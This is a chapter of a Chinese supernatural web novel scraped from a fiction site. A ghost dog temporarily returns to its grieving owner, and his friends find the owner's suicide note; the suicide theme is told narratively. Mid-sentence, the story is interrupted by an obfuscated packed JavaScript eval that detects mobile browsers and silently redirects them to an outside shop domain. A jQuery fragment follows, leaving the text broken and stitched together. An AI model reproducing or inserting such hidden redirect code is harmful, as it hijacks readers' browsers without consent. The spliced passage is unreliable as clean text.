文趣网 > 其他小说 > 妖怪糖水铺 > 7. 黑气的源头
    “老板派我来送货。”

    走进来的人穿着一身简洁衣衫,面容清秀,面带笑容,步伐稳重,眉宇间带着一抹书卷气。

    简舒竹认得这人,谢无之,冥界现在的主管。

    谢无之面向简舒竹微微点头,将手里的木质盒子放到桌上。

    打开盒盖,一枚金色铃铛静静躺在铺设着绸缎的盒中。

    “这枚铃铛可汇聚周围灵气,巩固灵体。老板已经在里面施下术法,只要把铃铛戴在身上,便可使佩戴者重新在人间活动,也就是所谓的,回魂。”

    后面两个字谢无之咬得很轻,似乎这对他来说如同一缕清风一般轻飘飘的。

    简舒竹走上前拿起铃铛,挑眉,看向谢无之:“想不到竟然是谢主管亲自来送东西。”

    简舒竹对于现在冥界的状况还是了解一些的,听说关押百年的恶灵煞跑了出来,连带放出来许多正在服刑的魂灵,冥界正忙着到处抓这些逃走的魂灵。

    而这位谢主管更是为此连轴转了三个月,才基本抓完了逃走的魂灵,怎么会有闲心来送东西?

    谢无之笑容得体:“没办法,冥界繁忙人手不够,老板又催得紧,我只好来跑这一趟。”

    说完他又咳嗽两声,状似无奈道:“之后我会在人间停留一段时间,简小姐可随时来找我归还此物。”

    “是吗?那麻烦你了。”简舒竹觉得谢无之怕不是借着这个机会来休假的。

    面对简舒竹略带质疑的眼神,谢无之笑了笑,他不否认自己确实有休假的心思,但现在冥界中最适合前往人间的人也只有他了。

    正确来说,帮老板送东西才是顺手的。

    “既然东西已经送到,那么我就先离开了。”说完谢无之转过身,身影瞬间消失不见。

    顾澜谕走到简舒竹身边,出声道:“他似乎在隐瞒什么。”

    简舒竹把铃铛放进口袋,抬起头:“我知道,但既然谢无之不愿说,必定有他自己的原由,我们也不应该问。冥界有冥曦看管,出不了乱子。”

    “当下重要的是先完成我们的事。”简舒竹转头看向布丁,边牧的魂灵已经变得比第一次见面时透明的多。

    长时间滞留在人间,哪怕又执念支撑,动物的灵体也撑不了太久,不进入轮回便会直接消散,时间已经不多了。

    ……

    夜晚,铭七等待赵善缘房间的灯灭掉后才偷偷睁开眼睛,金色的瞳孔在幽暗的环境中发着微光。

    猫的视力和敏捷让他在夜间也能活动自如。

    铭七轻轻一跃跳上桌子,妖力附着在眼睛上开始搜寻这间屋子,可他在周围环视一圈都没有发现什么奇怪的地方。

    不死心的铭七打算潜入赵善缘的房间查看,就在他轻手轻脚走进来,打算跳上柜子时,却因为踩到了什么东西,脚下一滑,力度不够,从半空中直直摔了下去。

    幸好他反应快,四脚着地才没有发出太大的声音。

    见没有吵醒赵善缘,铭七趴在地上松了口气,随后恶狠狠转头,想要看看到底是什么东西还他险些摔倒。

    低头一看,木制地板上一张写有字迹的单薄纸张静静躺着,那张纸距离床头柜很近,应该是从上面掉下来的。

    铭七坐下来伸出一只爪子按住纸张一角,想要看看这张纸上写着什么。

    可在看清楚这张纸上的内容时,铭七瞪大了眼睛,汗毛竖起。

    他不敢相信地把头贴近,一字一句仔细阅读,生怕哪里理解错了。

    几分钟后铭七抬起头,神色复杂。

    这张纸其实是一封遗书,是属于赵善缘的遗书。

    纸张上面写着,赵善缘已经失去了生活的希望,他最珍惜的家人一个个离他而去,就连最后的布丁,他都没有能力守护住。

    赵善缘不知道继续活下去的意义,这之后的每一个夜晚他都活在孤独之下。

    每看到妻子女儿的照片,布丁的小窝,他都会想起曾经一起生活的美好,可他什么都没守住,也不舍得丢弃这些回忆。

    他觉得自己已经活得够久了,只希望在自己死后,他的遗产能够捐赠给有需要的人。

    遗书的落款写着赵善缘的名字,旁边还印着手印。

    或许是因为手指太过颤抖,整封遗书的字迹都有些歪斜重影,就连最后的手印旁也有着泪水打湿的痕迹。

    看着睡梦中眉头依然未曾舒展的赵善缘,铭七似乎明白了为什么简舒竹说在他的身上有股奇怪的气息,也明白了自己为什么在对方身上感受到了死物的气息。

    是一心求死之人的显化,来自灵魂深处,即便活着也如同行尸走肉一般的死亡气息。

    赵善缘想要自我了断,加上刚好被魂灵附身影响,这才使得他自戕的意图凝聚成黑气显现出来。

    意识到这一点,铭七神色慌张,顾不上其他,直接低头叼起那封遗书跑了出去。

    夜晚中铭七向着糖水铺的方向狂奔,他要快点把这件事告诉简舒竹。

    可当他赶到万事糖水铺时,整个店铺内静悄悄的,连灯都没有开,显然没有人在里面。

    一缕凉风在门前吹过……

    铭七惊讶地张开嘴,衔在口中的纸上也掉在了地上。

    不是吧!人都去哪了?怎么连魂都没了!

    ……

    赵善缘隐约听到床边窸窸窣窣的声响,他本以为是白天带回来的小猫挠地板发出的声音,可紧接着耳边响起了汪汪的狗叫的声。

    赵善缘立即睁开眼,一只黑白色的边牧正坐在卧室的地上看着他。

    看到床上的人醒过来,边牧把头靠近赵善缘的手,高兴地来回摇动着尾巴。

    它的脖子上还带着一枚金色铃铛,随着边牧的动作发出清脆声响。

    “布丁……你是布丁吗?”赵善缘声音颤抖。

    他不敢相信眼前看到的一切,但即便再怎么不可思议,他也知道眼前的这只边牧就是布丁。

    “你终于愿意回来看我了。”

    赵善缘伸出手颤巍巍放在布丁的脑袋上,一下一下缓慢抚摸着,像是在确认眼前的景象是不是梦境,但这已经不重要了。

    赵善缘蹲下身子一下抱住了自己曾经的家人,泪水从眼中滑落。

    “抱歉,是我来晚了,如果……如果我能早一点找到你,如果我那天出门前关好门,是不是不会……”

    布丁任由主人抱着,只是偶尔轻轻舔一舔主人的脸颊,像是在告诉对方没关系的。

    房屋外,简舒竹躲在门外,伸手挽起耳边的发丝,拿出手机看了眼时间,晚上八点。

    此时顾澜谕已经把这间房屋搜寻了个遍,既没有发现诡异的地方也没有找到铭七的身影。

    “他好像不在这里。”几分钟后顾澜谕出来说道。

    顾澜谕口中的他自然是指铭七。

    简舒竹叹了口气,本来还想问问铭七有没有发现赵善缘身上不对劲的地方,结果现在连猫都不知道去哪了。

    “终于……找到你们了!”

    听到声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722121|208718||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    音,简舒竹转过身便看见变成人类样子的铭七气喘吁吁地扶着楼梯走上来,似乎跑了很久的样子。

    铭七擦了擦额头上的汗,鬼知道他找了简舒竹多久!

    转而他看了顾澜谕一眼,咬牙切齿。不,就连鬼都不知道!

    要不是他嗅觉灵敏,顺着气息找了过来,还不知道要找到什么时候呢!

    话说回来,这里怎么有点眼熟啊?铭七回过神,观察着周围。

    等等,这不是……赵善缘的家吗!

    当铭七看清楚简舒竹所站在的地方时,少年的脸上浮现出一丝龟裂。

    “不会吧,早知道我就不……”

    铭七正要抱怨,话还没说完就被顾澜谕迅速捂住了嘴。

    “嘘!小声点。”顾澜谕伸手指了指房间内的赵善缘和布丁。

    铭七视线看向屋内迅速点点头,顾澜谕这才把人放开。

    “我本来以为你就是让它托个梦什么的,没想到你直接让它还魂了!”

    简舒竹的视线看向屋内,解释道:“只是暂时的,天一亮它就会重新变成魂灵。”

    “那也很厉害啊!”

    在铭七的认知里,这简直是不可能的事情,他不免有些好奇地靠近简舒竹,压低声音问:“老板,你是怎么做到的?”

    简舒竹瞥了他一眼,语气模糊说道:“只是让朋友帮了点忙。”

    朋友?什么朋友这么有本事?

    没等铭七想出个所以然,简舒竹的声音再次响起:“所以,你大半夜跑出去找我到底有什么事?”

    “啊!对了对了!”铭七连忙翻找起自己的口袋,将赵善缘的那封遗书交给简舒竹。

    “这是我在卧室找到的。”

    简舒竹将遗书上的内容读完,抬起头深深看了一眼屋内,隐约间她还可以听到赵善缘欣喜说话的声音。

    收回视线,简舒竹将手里的纸张随手折起,对着两人淡淡说道:“回去吧。”

    “啊?我们就,就这么走了?”铭七表示不解,他追上简舒竹,“我们就不管了?那万一……万一以后他想不开怎么办?”

    “这不是我们能解决的。”简舒竹抬眸说道。

    “如果是恶灵作祟我们还可以驱除,但心理上的死结只能靠自己走出来。”

    简舒竹径直越过铭七,向楼梯口走去,顾澜谕则一言不发地快步跟上去。

    “那好歹劝一劝吧!”铭七站在屋外,左看看简舒竹离开的方向,右看看屋子里的人,最终气鼓鼓地变成猫转身去追简舒竹。

    可即便回到万事糖水铺,店内的氛围也实在微妙。

    铭七显然在生气,整个猫的身子蜷缩成一团贴着墙趴着,谁也不理。

    简舒竹神色如常,回答店内搬了把椅子坐着,时不时看一眼挂在店里的钟表。

    顾澜谕默默打扫着店里的卫生,把东西收拾好后便看向门外。

    在这期间,他的目光缓缓看向简舒竹,后者靠着椅子扶手,单手托着脸颊,不知道在想些什么。

    顾澜谕不认为简舒竹是什么冷血无情的人,否则她也不会为了布丁的事去找冥曦,为了李念翊和李念溪特意跑去定草莓蛋糕。

    魂灵的执念是对事情未完成的遗憾,明明不需要这么细节也可以完成。

    她的心其实很细腻也很温柔。

    只是这一次,或许就连简舒竹也无能为力吧。

    顾澜谕默默收回视线,看向门外,月亮的光芒成为深夜中这条旧街道唯一的微光。